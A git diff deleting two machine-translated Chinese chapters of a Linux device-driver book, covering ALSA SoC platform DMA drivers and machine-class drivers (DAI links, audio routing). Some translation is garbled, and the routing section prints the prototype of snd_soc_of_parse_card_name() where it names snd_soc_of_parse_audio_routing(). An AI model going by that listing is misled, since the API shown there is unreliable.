&soc_component_dev_wm8900,                                      &wm8900_dai, 1); -    return ret; -} -``` - -当机器驱动探测到这个编解码器时,将调用编解码器组件驱动(`wm8900_probe`)的探测回调,它们将完成编解码器驱动的初始化。 该编解码器设备驱动的完整版位于 Linux 内核源代码中的`sound/soc/codecs/wm8900.c`。 - -现在我们熟悉了编解码器类驱动及其体系结构。 我们还了解了如何导出编解码器属性、如何构建音频路由以及如何实现 DAPM 功能。 编解码器驱动本身非常无用,尽管它管理编解码器设备。 IT 需要绑定到平台驱动,这是我们将要学习的下一个驱动类。 - -# 编写平台类驱动 - -平台驱动注册 PCM 驱动、CPU DAI 驱动及其操作功能,为 PCM 组件预先分配缓冲区,并根据需要设置回放和捕获操作。 换句话说,平台驱动包含该平台的音频 DMA 引擎和音频接口驱动(例如,I2S、AC97 和 PCM)。 - -平台驱动以构成平台的 SoC 为目标。 它涉及平台的 DMA 和 CPU DAI,前者是如何在 SoC 中的每个块之间传输音频数据,后者是 CPU 用来向/从编解码器发送/携带音频数据的路径。 这样的驱动有两个重要的数据结构:`struct snd_soc_component_driver`和`struct snd_soc_dai_driver`。 前者负责 DMA 数据管理,后者负责 DAI 的参数配置。 但是,在处理编解码器类驱动时,已经描述了这两种数据结构 E。 因此,本部分将只处理与平台代码相关的其他概念。 - -## CPU DAI 驱动 - -由于与编解码器驱动一样,也重构了平台代码,因此 CPU DAI 驱动必须分别导出组件驱动的实例和 DAI 驱动的实例`struct snd_soc_component_driver`和`struct snd_soc_dai_driver`。 - -在平台方面,大部分工作都可以由内核完成,特别是对于与 DMA 相关的内容。 因此,CPU DAI 驱动通常只在组件驱动结构中提供接口名称,而让内核完成其余工作。 以下是在`sound/soc/rockchip/rockchip_spdif.c`中实现的 RockChip SPDIF 驱动的示例: - -```sh -static const struct snd_soc_dai_ops rk_spdif_dai_ops = { -    [...] -}; -/* SPDIF has no capture channel */ -static struct snd_soc_dai_driver rk_spdif_dai = { -    .probe = rk_spdif_dai_probe, -    .playback = { -        .stream_name = "Playback", -[...] -    }, -    .ops = &rk_spdif_dai_ops, -}; -/* fill in the name only */ -static const struct snd_soc_component_driver rk_spdif_component = { -    .name = "rockchip-spdif", -}; -static int rk_spdif_probe(struct platform_device *pdev) -{ -    struct device_node *np = pdev->dev.of_node; -    struct rk_spdif_dev *spdif; -    int ret; -[...] -    spdif->playback_dma_data.addr = res->start + SPDIF_SMPDR; -    spdif->playback_dma_data.addr_width =     DMA_SLAVE_BUSWIDTH_4_BYTES; -    spdif->playback_dma_data.maxburst = 4; -    ret = devm_snd_soc_register_component(&pdev->dev, -                                          &rk_spdif_component,                                           &rk_spdif_dai, 1); -    if (ret) { -        dev_err(&pdev->dev, "Could not register DAI\n"); -        goto err_pm_runtime; -     } -    ret = devm_snd_dmaengine_pcm_register(&pdev->dev, NULL, 0); -    if (ret) { -        dev_err(&pdev->dev, "Could not register PCM\n"); -        goto err_pm_runtime; -    } -    return 0; -} -``` - -在前面的节选中,`spdif`是驾驶员状态数据结构。 我们可以看到,组件驱动中只填写了名称,组件驱动和 DAI 驱动都是通过`devm_snd_soc_register_component()`的方式照常注册的。 必须根据实际 DAI 属性设置`struct snd_soc_dai_driver`,必要时应设置 e`dai_ops`。 但是,很大一部分设置是由`devm_snd_dmaengine_pcm_register()`完成的,它将根据提供的`dma_data`设置组件驱动的 PCM 操作。 这将在下一节中详细说明。 - -## 平台 DMA 驱动 AKA PCM DMA 驱动 - -在一个健全的生态系统中,我们有几种类型的设备:PCM、MIDI、混音器、音序器、计时器和等等。 这里,PCM 指的是脉冲编码调制,但它指的是处理基于样本的数字音频的设备,即不是 MIDI 等。 PCM 层(ALSA 核心的一部分)负责执行所有数字音频工作,如准备卡进行捕获或回放、启动与设备之间的传输等。 简而言之,如果你想播放或捕捉声音,你需要一个 PCM。 - -PCM 驱动通过覆盖`struct snd_pcm_ops`结构公开的函数指针来帮助执行 DMA 操作。 它与平台无关,仅与 SOC DMA 引擎上游 API 交互。 然后,DMA 引擎与平台特定的 DMA 驱动交互,以获得正确的 DMA 设置。 `struct snd_pcm_ops`是一个结构,它包含一组回调,这些回调与有关 PCM 接口的不同事件有关。 - -在处理 ASOC(而不是纯粹的 ALSA)时,只要使用通用的 PCM DMA 引擎框架 work,就永远不需要按原样实例化这个结构。 ASOC 核心为您实现了这一点。 查看以下调用堆栈:*snd_soc_register_card->snd_soc_instantiate_card->soc_probe_link_dais->soc_new_pcm*。 - -### 音频 DMA 接口 - -SoC 的每个音频总线驱动负责通过该 API 提供 DMA 接口。 例如,驱动器分别位于`sound/soc/fsl/`、*`sound/soc/fsl/fsl_sai.c`、`sound/soc/fsl/fsl_spdif.c`和`sound/soc/fsl/fsl_ssi.c`的基于 i.MX 的 SoC(例如 ESAI、SAI、SPDIF 和 SSI)上的音频总线就是这种情况。* - - *音频 DMA 驱动通过`devm_snd_dmaengine_pcm_register()`注册。 此函数用于为设备注册 a`struct snd_dmaengine_pcm_config`。 以下是它的原型: - -```sh -int devm_snd_dmaengine_pcm_register( -                        struct device *dev, -                        const struct                         snd_dmaengine_pcm_config *config, -                        unsigned int flags); -``` - -在前面的原型中,`dev`是 PCM 设备的父设备,通常为`&pdev->dev`。 `config`是特定于平台的 PCM 配置,类型为`struct snd_dmaengine_pcm_config`。 这个结构需要详细描述。 `flags`表示描述如何处理 DMA 通道的其他标志。 大多数情况下,它是`0`。 但是,可能的值在`include/sound/dmaengine_pcm.h`中定义,并且都以`SND_DMAENGINE_PCM_FLAG_`为前缀。 常用的有`SND_DMAENGINE_PCM_FLAG_HALF_DUPLEX`、`SND_DMAENGINE_PCM_FLAG_NO_DT`和`SND_DMAENGINE_PCM_FLAG_COMPAT`。 前者表示 PCM 为半双工,DMA 通道在捕获和回放之间共享。 第二个命令要求内核不要尝试通过设备树请求 DMA 通道。 最后一个表示将使用自定义回调来请求 DMA 通道。 注册后,通用 PCM DMA 引擎框架将构建一个合适的`snd_pcm_ops`,并用它设置组件驱动的`.ops`字段。 - -Linux 中的经典 DMA 操作流程如下: - -1. `dma_request_channel`:用于分配从通道。 -2. `dmaengine_slave_config`:设置特定于从机和控制器的参数。 -3. `dma_prep_xxxx`:获取事务的描述符。 -4. `dma_cookie = dmaengine_submit(tx)`:提交事务,抓取 DMA cookie。 -5. `dma_async_issue_pending(chan)`:开始传输并等待回叫通知。 - -在 ASOC 中,设备树用于将 DMA 通道映射到 PCM 设备。 `devm_snd_dmaengine_pcm_register()`通过基于设备树的接口`dmaengine_pcm_request_chan_of()`请求 DMA 通道。 为了执行*步骤 1*至*3*,需要向 PCM DMA 引擎内核提供附加信息。 这可以通过填充将被赋予注册功能的`struct snd_dmaengine_pcm_config`或者通过让 PCM DMA 引擎框架从系统的 DMA 引擎核心检索信息来实现。 *步骤 4*和*5*由 PCM DMA 引擎内核透明地处理。 - -下面是`struct snd_dma_engine_pcm_config`的外观: - -```sh -struct snd_dmaengine_pcm_config { -    int (*prepare_slave_config)(                        struct snd_pcm_substream *substream, -                        struct snd_pcm_hw_params *params, -                        struct dma_slave_config *slave_config); -    struct dma_chan *(*compat_request_channel)( -                          struct snd_soc_pcm_runtime *rtd, -                          struct snd_pcm_substream *substream); -    [...] -    dma_filter_fn compat_filter_fn; -    struct device *dma_dev; -    const char *chan_names[SNDRV_PCM_STREAM_LAST + 1]; -    const struct snd_pcm_hardware *pcm_hardware; -    unsigned int prealloc_buffer_size; -}; -``` - -上面的数据结构主要涉及 DMA 通道管理、缓冲区管理和通道配置: - -* `prepare_slave_config`: This callback is used to fill in the DMA `slave_config` (of type `struct dma_slave_config`, which is the DMA slave channel runtime config) for a PCM sub-stream. It will be called from the PCM driver's `hwparams` callback. Here, you can use `snd_dmaengine_pcm_prepare_slave_config`, which is a generic `prepare_slave_config` callback for platforms that make use of the `snd_dmaengine_dai_dma_data` struct for their DAI DMA data. This generic callback will internally call `snd_hwparams_to_dma_slave_config` to fill in the slave config based on `hw_params`, followed by `snd_dmaengine_set_config_from_dai_data` to fill in the remaining fields based on the DAI DMA data. - - 使用通用回调方法时,应从 CPU DAI 驱动的`.probe`回调中调用`snd_soc_dai_init_dma_data()`(给定 DAI 特定的捕获和回放 DMA 数据配置,类型为`struct snd_dmaengine_dai_dma_data`),该回调将设置`cpu_dai->playback_dma_data`和`cpu_dai->capture_dma_data`字段。 `snd_soc_dai_init_dma_data()`方法只是为作为参数给定的 DAI 设置 DMA 设置(用于捕获、回放或两者)。 - -* `compat_request_channel`:用于为不使用设备树的平台请求 DMA 通道。 如果设置,`.compat_filter_fn`将被忽略。 -* `compat_filter_fn`:当为不使用设备树的平台请求 DMA 通道时,它用作过滤函数。 过滤器参数将是 DAI 的 DMA 数据。 -* `dma_dev`:这允许为注册 PCM 驱动的设备以外的设备请求 DMA 通道。 如果设置,将在此设备(而不是 DAI 设备)上请求 DMA 通道。 -* `chan_names`:这是请求捕获/回放 DMA 频道时使用的名称数组。 这在默认`"tx"`和`"rx"`通道名称不适用时非常有用,例如,如果硬件模块支持多个通道,每个通道都有不同的 DMA 通道名称。 -* `pcm_hardware`:本介绍 PCM 硬件功能。 如果未设置,则依靠内核填充从 DMA 引擎信息派生的正确标志。 此字段的类型为`struct snd_pcm_hardware`,将在下一节中介绍。 -* `prealloc_buffer_size`:这是预先分配的音频缓冲区的大小。 - -PCM DMA 配置可能不会提供给注册 API(可能是`NULL`),而注册将是`ret = devm_snd_dmaengine_pcm_register(&pdev->dev, NULL, 0)`。 在这种情况下,您应该通过`snd_soc_dai_init_dma_data()`提供捕获和回放 DAI DMA 通道配置,如前所述。 通过使用这种方法,其他元素将从系统核心派生出来。 例如,为了请求 DMA 通道,PCM DMA 引擎核心将依赖于设备树,假设捕获和回放 DMA 通道名称分别为`"rx"`和`"tx"`,除非在`flags`中设置了标志`SND_DMAENGINE_PCM_FLAG_HALF_DUPLEX`,在这种情况下,它将认为捕获和回放与使用设备树节点中名为`rx-tx`的相同 DMA 通道相同。 - -DMA 通道设置也将从系统 DMA 引擎派生。 下面是`snd_soc_dai_init_dma_data()`的外观: - -```sh -static inline void snd_soc_dai_init_dma_data(                                       struct snd_soc_dai *dai, -                                       void *playback,                                        void *capture) -{ -    dai->playback_dma_data = playback; -    dai->capture_dma_data = capture; -} -``` - -虽然`snd_soc_dai_init_dma_data()`接受捕获和回放作为`void`类型,但传递的值实际上应该是`struct snd_dmaengine_dai_dma_data`类型,在`include/sound/dmaengine_pcm.h`中定义如下: - -```sh -struct snd_dmaengine_dai_dma_data { -    dma_addr_t addr; -    enum dma_slave_buswidth addr_width; -    u32 maxburst; -    unsigned int slave_id; -    void *filter_data; -    const char *chan_name; -    unsigned int fifo_size; -    unsigned int flags; -}; -``` - -此结构表示 DAI 通道的 DMA 通道数据(或 CONFIG 或任何您喜欢的)。 您应该引用标头 r,其中定义了其字段的含义。 此外,您还可以查看其他驱动,了解有关如何设置此数据结构的更多详细信息。 - -### PCM 硬件配置fi配置 - -当 PCM DMA 引擎内核未自动从系统馈送 DMA 设置时,平台 PCM 驱动可能需要提供 PCM 硬件设置,这些设置描述硬件如何布局 PCM 数据。 这些设置通过`snd_dmaengine_pcm_config.pcm_hardware`字段提供,该字段的类型为`struct snd_pcm_hardware`,定义如下: - -```sh -struct snd_pcm_hardware { -    unsigned int info; -    u64 formats; -    unsigned int rates; -    unsigned int rate_min; -    unsigned int rate_max; -    unsigned int channels_min; -    unsigned int channels_max; -    size_t buffer_bytes_max; -    size_t period_bytes_min; -    size_t period_bytes_max; -    unsigned int periods_min; -    unsigned int periods_max; -    size_t fifo_size; -}; -``` - -此结构描述了平台本身的硬件限制(或者应该说,它设置了允许的参数),例如可以支持的通道数/采样率/数据格式、DMA 支持的周期大小范围、周期计数范围等。 在上述数据结构中,范围值、最小周期和最大周期取决于 DMA 控制器、DAI 硬件和编解码器的功能。 以下是每个字段的详细含义: - -* `info`包含此 PCM 的类型和功能。 可能的值都是在`include/uapi/sound/asound.h`中定义的位标志(这意味着用户代码应该包括``)作为`SNDRV_PCM_INFO_XXX`。 例如,`SNDRV_PCM_INFO_MMAP`表示硬件支持`mmap()`系统调用。 至少在这里,您必须指定是否支持`mmap`系统调用,以及支持哪种交错格式。 当支持`mmap()`系统调用时,在此处添加`SNDRV_PCM_INFO_MMAP`标志。 当硬件支持交错或非交错格式时,必须分别设置`SNDRV_PCM_INFO_INTERLEAVED`或`SNDRV_PCM_INFO_NONINTERLEAVED`标志。 如果两者都支持,您也可以同时设置。 -* `formats`字段包含支持的格式(`SNDRV_PCM_FMTBIT_XXX`)的位标志。 如果硬件支持多种格式,则应使用所有 OR 位。 -* `rates`字段包含支持速率(`SNDRV_PCM_RATE_XXX`)的位标志。 -* `rate_min`和`rate_max`定义最小和最大采样率。 这应该以某种方式对应于比特速率。 -* 您可能已经猜到,`channel_min`和`channel_max`定义了通道的最小和最大数量。 -* `buffer_bytes_max`定义最大缓冲区大小(以字节为单位)。 没有`buffer_bytes_min`字段,因为它可以根据最小周期大小和最小周期数计算。 同时,`period_bytes_min`和 `period_bytes_max`以字节为单位定义周期的最小和最大大小。 -* `periods_max`和`periods_min`定义缓冲区中的最大和最小周期数。 - -其他领域需要引入期间的概念。 该周期定义产生 PCM 中断的大小。 一个时期的概念是非常重要的。 句点基本上描述了一个中断。 它将硬件提供数据的“块”大小合计为: - -* `period_bytes_min`是写入的 DMA 的最小传输大小,即中断之间处理的字节数。 例如,如果 DMA 最少可以传输 2,048 个字节,则应将其写入`2048`。 -* `period_bytes_max`是 DMA 的最大传输大小,也就是中断之间处理的最大字节数。 例如,如果 DMA 最多可传输 4,096 个字节,则应写入`4096`。 - -下面是来自 STM32 I2S DMA 驱动(在`sound/soc/stm/stm32_i2s.c`中定义的)的此类 PCM 约束的示例: - -```sh -static const struct snd_pcm_hardware stm32_i2s_pcm_hw = { -    .info = SNDRV_PCM_INFO_INTERLEAVED | SNDRV_PCM_INFO_MMAP, -    .buffer_bytes_max = 8 * PAGE_SIZE, -    .period_bytes_max = 2048, -    .periods_min = 2, -    .periods_max = 8, -}; -``` - -一旦设置好,这个结构应该在`snd_dmaengine_pcm_config.pcm_hardware`字段中结束,然后再将`struct snd_dmaengine_pcm_config`对象传递给`devm_snd_dmaengine_pcm_register()`。 - -以下是播放流程,显示了涉及的组件和 PCM 数据流: - -![Figure 5.4 – ASoC audio playback flow ](img/Figure_5.4_B10985.jpg) - -图 5.4-ASOC 音频播放流程 - -上图显示了每一步涉及的音频播放流程和块。 我们可以看到,音频数据从用户复制到 DMA 缓冲区,然后 DMA 事务将数据移入平台音频 TX FIFO,平台音频 TX FIFO 通过其与编解码器的链接(通过各自的 DAI)将该数据发送到负责通过扬声器播放音频的编解码器。 捕获操作与扬声器换成麦克风的流程相反。 - -这让我们结束了对平台类驱动的处理。 我们已经看到了它与编解码器类驱动共享的数据结构和概念。 请注意,编解码器和平台驱动都需要链接在一起,以便从系统的角度构建真实的音频路径。 根据 ASOC 架构,这必须在另一个类驱动中完成,即所谓的机器驱动,这是下一章的主题。 - -# 摘要 - -在本章中,我们分析了 ASOC 体系结构。 在此基础上,分别研究了编解码器驱动和平台驱动。 通过了解这些主题,我们了解了几个概念,如控件和小部件。 我们已经看到了 ASOC 框架与经典 PC ALSA 系统的不同之处,主要是在代码可重用性和实现电源管理方面。 - -最后但并非最不重要的一点是,我们已经看到平台和编解码器驱动不能独立工作。 它们需要由负责注册最终音频设备的机器驱动绑定在一起,这将是下一章的主要主题。** \ No newline at end of file diff --git a/docs/master-linux-device-driver-dev/06.md b/docs/master-linux-device-driver-dev/06.md deleted file mode 100644 index e9992c9f..00000000 --- a/docs/master-linux-device-driver-dev/06.md +++ /dev/null @@ -1,615 +0,0 @@ -# 六、ALSA SoC 框架——深入研究机器类驱动 - -在开始我们的 ALSA SoC 框架系列时,我们注意到平台和编解码器类驱动都不打算单独工作。 ASOC 架构的设计使得平台和编解码器类驱动必须绑定在一起才能构建音频设备。 此绑定可以从所谓的机器驱动或从设备树内完成,每种绑定都是特定于机器的。 不用说,机器驱动的目标是特定的系统,它可能会从一块板换到另一块板。 在本章中,我们将重点介绍 ASOC 机器类驱动的阴暗面,并讨论我们需要编写机器类驱动时可能遇到的具体情况。 - -在本章中,我们将介绍 Linux ASOC 驱动的体系结构和实现。 本章将分为不同的部分,具体如下: - -* 机器类驱动简介 -* 机器布线注意事项 -* 计时和格式化注意事项 -* 声卡注册 -* 利用简单卡片机驱动 - -# 技术要求 - -本章需要以下内容: - -* 对设备树概念有很强的了解 -* 熟悉平台和编解码器类驱动(在[*第 5 章*](05.html#_idTextAnchor124)*、**ALSA SoC 框架-利用编解码器和平台类驱动*中讨论) -* Linux 内核 v4.19.X 源代码,可从[https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/refs/tags)获得 - -# 。 机器类驱动简介 - -编解码器和平台驱动不能单独工作。 机器驱动负责将它们绑定在一起,以完成音频信息处理。 机器驱动类充当描述其他组件驱动并将其捆绑在一起以形成 ALSA 声卡设备的粘合剂。 它管理任何特定于机器的控制和机器级别的音频事件(例如在播放开始时打开放大器)。 机器驱动描述并绑定 CPU**数字音频接口**(**DAIS**)和编解码器驱动,以创建 DAI 链路和 ALSA 声卡。 机器驱动通过链接[*第 5 章*](05.html#_idTextAnchor124)*,ALSA SoC Framework-利用编解码器和平台类驱动*中描述的每个模块(CPU 和编解码器)公开的 DAI 来连接编解码器驱动。 它定义`struct snd_soc_dai_link`结构并实例化声卡`struct snd_soc_card`。 - -平台和编解码器驱动通常是可重用的,但机器驱动不是可重用的,因为它们具有大多数时间不可重用的特定硬件功能。 所谓硬件特性是指 DAI 之间的链接;通过 GPIO 打开放大器;通过 GPIO 检测插件;使用 MCLK/外部 OSC 等时钟作为 I2 的参考时钟源;编解码器模块等。 一般而言,机器司机的职责包括以下内容: - -* 使用适当的 CPU 和编解码器 DAI 填充`struct snd_soc_dai_link`结构 -* 物理编解码器时钟设置(如果有)和编解码器初始化主/从配置(如果有) -* 定义 DAPM 小部件以通过物理编解码器内部进行路由,并根据需要完成 DAPM 路径 -* 根据需要将运行时采样频率传播到各个编解码器驱动器 - -总而言之,我们有以下流程: - -1. 编解码器驱动注册组件驱动、DAI 驱动及其操作功能。 -2. 平台驱动注册组件驱动、PCM 驱动、CPU DAI 驱动及其操作功能,并根据需要设置回放和捕获操作。 -3. 机器层在编解码器和 CPU 之间创建 DAI 链路,并注册声卡和 PCM 设备。 - -现在我们已经看到了机器类驱动的开发流程,让我们从第一步开始,它包括填充代林 k。 - -## DAI 链接 - -DAI 链路是 CPU 和编解码器 DAI 之间链路的逻辑表示。 它在内核中使用`struct snd_soc_dai_link`表示,定义如下: - -```sh -struct snd_soc_dai_link { -    const char *name; -    const char *stream_name; -    const char *cpu_name; -    struct device_node *cpu_of_node; -    const char *cpu_dai_name; -    const char *codec_name; -    struct device_node *codec_of_node; -    const char *codec_dai_name; -    struct snd_soc_dai_link_component *codecs; -    unsigned int num_codecs; -    const char *platform_name; -    struct device_node *platform_of_node; -    int id; -    const struct snd_soc_pcm_stream *params; -    unsigned int num_params; -    unsigned int dai_fmt; -    enum snd_soc_dpcm_trigger trigger[2]; -  /* codec/machine specific init - e.g. add machine controls */ -    int (*init)(struct snd_soc_pcm_runtime *rtd); -    /* machine stream operations */ -    const struct snd_soc_ops *ops; -    /* For unidirectional dai links */ -    unsigned int playback_only:1; -    unsigned int capture_only:1; -    /* Keep DAI active over suspend */ -    unsigned int ignore_suspend:1; -[...] -    /* DPCM capture and Playback support */ -    unsigned int dpcm_capture:1; -    unsigned int dpcm_playback:1; -    struct list_head list; /* DAI link list of the soc card */ -}; -``` - -重要音符 - -完整的`snd_soc_dai_link`数据结构定义可以在[https://elixir.bootlin.com/linux/v4.19/source/include/sound/soc.h#L880](https://elixir.bootlin.com/linux/v4.19/source/include/sound/soc.h#L880)中找到。 - -该链接是从机器驱动内设置的。 它应该指定`cpu_dai`、`codec_dai`和使用的平台。 一旦设置好,DAI 链路就会馈送到`struct snd_soc_card`,`struct snd_soc_card`表示声卡。 下面的列表描述了结构中的元素: - -* `name`:这是任意选择的。 它可以是任何东西。 -* `codec_dai_name`:这必须与编解码器芯片驱动中的`snd_soc_dai_driver.name`字段匹配。 编解码器可以有一个或多个 DAI。 请参阅编解码器驱动以标识 DAI 名称。 -* `cpu_dai_name`:这必须与 CPU DAI 驱动中的`snd_soc_dai_driver.name`字段匹配。 -* `stream_name`:这是此链接的流名称。 -* `init`:这是 DAI 链接初始化回调。 它通常用于添加 DAI 链接特定的小部件或其他类型的一次性设置。 -* `dai_fmt`:应使用支持的格式和时钟配置进行设置,这对于 CPU 和编解码器 DAI 驱动都应该是一致的。 稍后将介绍该字段的可能位标志。 -* `ops`:此字段为`struct snd_soc_ops`类型。 应设置 DAI 链路的机器级 PCM 操作:`startup`、`hw_params`、`prepare`、`trigger`、`hw_free`、`shutdown`。 此字段将在稍后详细介绍。 -* `codec_name`:如果设置,这应该是编解码器驱动的名称,例如`platform_driver.driver.name`或`i2c_driver.driver.name`。 -* `codec_of_node`:与编解码器关联的设备树节点。 -* `cpu_name`:如果设置,这应该是 CPU DAI 驱动 CPU 的名称。 -* `cpu_of_node`:这是与 CPU DAI 关联的设备树节点。 -* `platform_name`或`platform_of_node`:这是对提供 DMA 功能的平台节点的名称或 dt 节点引用。 -* 在诸如 SPDIF 的单向链路的情况下使用`playback_only`和`capture_only`。 如果这是仅输出链接(仅播放),则`playback_only`和`capture_only`必须分别设置为`true`和`false`。 对于仅限输入的链接,应该使用相反的值。 - -在大多数情况下,`.cpu_of_node`和`.platform_of_node`是相同的,因为 CPU DAI 驱动和 DMA PCM 驱动是由同一设备实现的。 也就是说,您必须按名称或按`of_node`指定链接的编解码器,但不能同时指定两者。 您必须对 CPU 和平台执行相同的操作。 但是,必须至少指定 CPU DAI 名称或 CPU 设备名称/节点中的一个。 这可以总结如下: - -```sh -if (link->platform_name && link->platform_of_node) -    ==> Error -if (link->cpu_name && link->cpu_of_node) -    ==> Eror -if (!link->cpu_dai_name && !(link->cpu_name ||                              link->cpu_of_node)) -    ==> Error -``` - -这里有一个关键点值得注意。 如何引用 DAI 链路中的平台或 CPU 节点? 我们稍后会回答这个问题。 让我们首先考虑以下两个设备节点。 第一个(`ssi1`)是 i.MX6 SoC 的 SSI`cpu-dai`节点。 第二个节点(`sgtl5000`)表示 SGTL5000 编解码器芯片: - -```sh -ssi1: ssi@2028000 { -    #sound-dai-cells = <0>; -    compatible = "fsl,imx6q-ssi", "fsl,imx51-ssi"; -    reg = <0x02028000 0x4000>; -    interrupts = <0 46 IRQ_TYPE_LEVEL_HIGH>; -    clocks = <&clks IMX6QDL_CLK_SSI1_IPG>, -             <&clks IMX6QDL_CLK_SSI1>; -    clock-names = "ipg", "baud"; -    dmas = <&sdma 37 1 0>, <&sdma 38 1 0>; -    dma-names = "rx", "tx"; -    fsl,fifo-depth = <15>; -    status = "disabled"; -}; -&i2c0{ -    sgtl5000: codec@0a { -        compatible = "fsl,sgtl5000"; -        #sound-dai-cells = <0>; -        reg = <0x0a>; -        clocks = <&audio_clock>; -        VDDA-supply = <®_3p3v>; -        VDDIO-supply = <®_3p3v>; -        VDDD-supply = <®_1p5v>; -    }; -}; -``` - -重要音符 - -在 SSI 节点中,您可以看到`dma-names = "rx", "tx";`属性,它是 pcmdmaengine 框架请求的预期 DMA 通道名称。 这也可能表示 CPU DAI 和平台 PCM 由同一节点表示。 - -我们将考虑一个将 i.MX6 SoC 连接到 SGTL5000 音频编解码器的系统。 机器驱动通常通过引用这些节点(实际上是它们的`phandle`)来获取 CPU 或编解码器设备树节点作为其属性。 这样,您就可以只使用其中一个`OF`帮助器(如`of_parse_phandle()`)来获取这些节点上的引用。 以下是通过`OF`节点引用编解码器和平台的机器节点示例: - -```sh -sound { -    compatible = "fsl,imx51-babbage-sgtl5000", -                 "fsl,imx-audio-sgtl5000"; -    model = "imx51-babbage-sgtl5000"; -    ssi-controller = <&ssi1>; -    audio-codec = <&sgtl5000>; -    [...] -}; -``` - -在前面的机器节点中,编解码器和 CPUE 通过`audio-codec`和`ssi-controller`属性通过引用(它们的`phandle`)传递。 只要机器驱动是您编写的,这些属性名称就不是标准化的(例如,如果您使用`simple-card`机器驱动,它需要一些预定义的名称,则不是这样)。 在机器驱动中,您将看到如下所示: - -```sh -static int imx_sgtl5000_probe(struct platform_device *pdev) -{ -    struct device_node *np = pdev->dev.of_node; -    struct device_node *ssi_np, *codec_np; -    struct imx_sgtl5000_data *data = NULL; -    int int_port, ext_port; int ret; -[...] -    ssi_np = of_parse_phandle(pdev->dev.of_node,                               "ssi-controller", 0); -    codec_np = of_parse_phandle(pdev->dev.of_node,                                 "audio-codec", 0); -    if (!ssi_np || !codec_np) { -        dev_err(&pdev->dev, "phandle missing or invalid\n"); -        ret = -EINVAL; -        goto fail; -    } -    data = devm_kzalloc(&pdev->dev, sizeof(*data), GFP_KERNEL); -    if (!data) { -        ret = -ENOMEM; -       goto fail; -    } -    data->dai.name = "HiFi"; -    data->dai.stream_name = "HiFi"; -    data->dai.codec_dai_name = "sgtl5000"; -    data->dai.codec_of_node = codec_np; -    data->dai.cpu_of_node = ssi_np; -    data->dai.platform_of_node = ssi_np; -    data->dai.init = &imx_sgtl5000_dai_init; -    data->card.dev = &pdev->dev; -    [...] -}; -``` - -前面的摘录使用`of_parse_phandle()`获取节点引用。 这是`imx_sgtl5000`机器的摘录,在内核源代码中是`sound/soc/fsl/imx-sgtl5000.c`。 现在我们已经熟悉了 DAI 链路的处理方式,我们可以继续从机器驱动内部进行音频路由,以便定义音频数据应该遵循的路径。 - -# 机器布线注意事项 - -机器驱动可以从编解码器中更改(或者应该说附加)定义的路由。 例如,它具有编解码器引脚必须使用 d 的最终决定权。 - -## 编解码器引脚 - -编解码器引脚用于连接到主板连接器。 可用编解码器引脚在编解码器驱动中使用`SND_SOC_DAPM_INPUT`和`SND_SOC_DAPM_OUTPUT`宏定义。 可以使用编解码器驱动中的`grep`命令搜索这些宏,以便找到可用的 PIN。 - -例如,`sgtl5000`编解码器驱动定义了以下输出和输入: - -```sh -static const struct snd_soc_dapm_widget sgtl5000_dapm_widgets[] = { -    SND_SOC_DAPM_INPUT("LINE_IN"), -    SND_SOC_DAPM_INPUT("MIC_IN"), -    SND_SOC_DAPM_OUTPUT("HP_OUT"), -    SND_SOC_DAPM_OUTPUT("LINE_OUT"), -    SND_SOC_DAPM_SUPPLY("Mic Bias", SGTL5000_CHIP_MIC_CTRL, 8,                         0, -                        mic_bias_event, -                        SND_SOC_DAPM_POST_PMU |                         SND_SOC_DAPM_PRE_PMD), -[...] -}; -``` - -在接下来的几节中,我们将看到这些管脚是如何连接到电路板上的。 - -## 板卡接头 - -电路板连接器在机器驱动器中寄存器`struct snd_soc_card`的`struct snd_soc_dapm_widget`部分定义。 大多数情况下,这些电路板连接器是虚拟的。 它们只是用编解码器引脚连接的逻辑贴纸(这次是真实的)。 下面列出了由`imx-sgtl5000`机器驱动`sound/soc/fsl/imx-sgtl5000.c`(其文档为`Documentation/devicetree/bindings/sound/imx-audio- sgtl5000.txt`)定义的连接器,该驱动到目前为止已作为示例给出: - -```sh -static const struct snd_soc_dapm_widget imx_sgtl5000_dapm_widgets[] = { -    SND_SOC_DAPM_MIC("Mic Jack", NULL), -    SND_SOC_DAPM_LINE("Line In Jack", NULL), -    SND_SOC_DAPM_HP("Headphone Jack", NULL), -    SND_SOC_DAPM_SPK("Line Out Jack", NULL), -    SND_SOC_DAPM_SPK("Ext Spk", NULL), -}; -``` - -下一节将把该连接器连接到编解码器引脚。 - -## 机器工艺路线 - -最终的机器路由可以是静态的(即从机器驱动本身填充),也可以从设备树中填充。 此外,机器驱动器可以通过使用`SND_SOC_DAPM_SUPPLY`或`SND_SOC_DAPM_REGULATOR_SUPPLY`连接到已在编解码器驱动器中定义的电源微件来可选地扩展编解码器功率图并成为音频子系统的音频功率图。 - -### 设备树路由 - -让我们以我们机器的节点为例,它将一个 i.MX6 SoC 连接到一个 sgtl5000 编解码器(此摘录可以在机器文档中找到): - -```sh -sound { -    compatible = "fsl,imx51-babbage-sgtl5000", -                 "fsl,imx-audio-sgtl5000"; -    model = "imx51-babbage-sgtl5000"; -    ssi-controller = <&ssi1>; -    audio-codec = <&sgtl5000>; -    audio-routing = "MIC_IN", "Mic Jack", -                    "Mic Jack", "Mic Bias", -                    "Headphone Jack", "HP_OUT"; -[...] -}; -``` - -来自设备树的路由要求以某种格式给出音频映射。 也就是说,条目被解析为字符串对,第一对是连接的接收器,第二对是连接的源。 大多数时间,这些连接被具体化为编解码器引脚和板连接器映射。 源和接收器的有效名称取决于硬件绑定,如下所示: - -* **编解码器**:这应该是定义了其名称在这里使用的管脚。 -* **机器**:这应该是定义了这里使用的名称的连接器或插孔。 - -在前面的摘录中,你注意到了什么? 我们可以看到`MIC_IN`、`HP_OUT`和`"Mic Bias"`,它们是编解码器管脚(来自编解码器驱动),以及`"Mic Jack"`和`"Headphone Jack"`,它们已经在机器驱动中定义为板连接器。 - -为了使用 DT 中定义的路线,机器驱动必须调用`snd_soc_of_parse_audio_routing()`,其原型如下: - -```sh -int snd_soc_of_parse_card_name(struct snd_soc_card *card, -                               const char *prop); -``` - -在前面的原型中,`card`表示要为其解析路由的声卡,`prop`是包含设备树节点中的路由的属性的名称。 此函数在成功时返回`0`,在出错时返回负错误代码。 - -### 静态路由 - -静态路由包括从机器驱动定义 DAPM 路由映射,并将其直接分配给声卡,如下所示: - -```sh -static const struct snd_soc_dapm_widget rk_dapm_widgets[] = { -    SND_SOC_DAPM_HP("Headphone", NULL), -    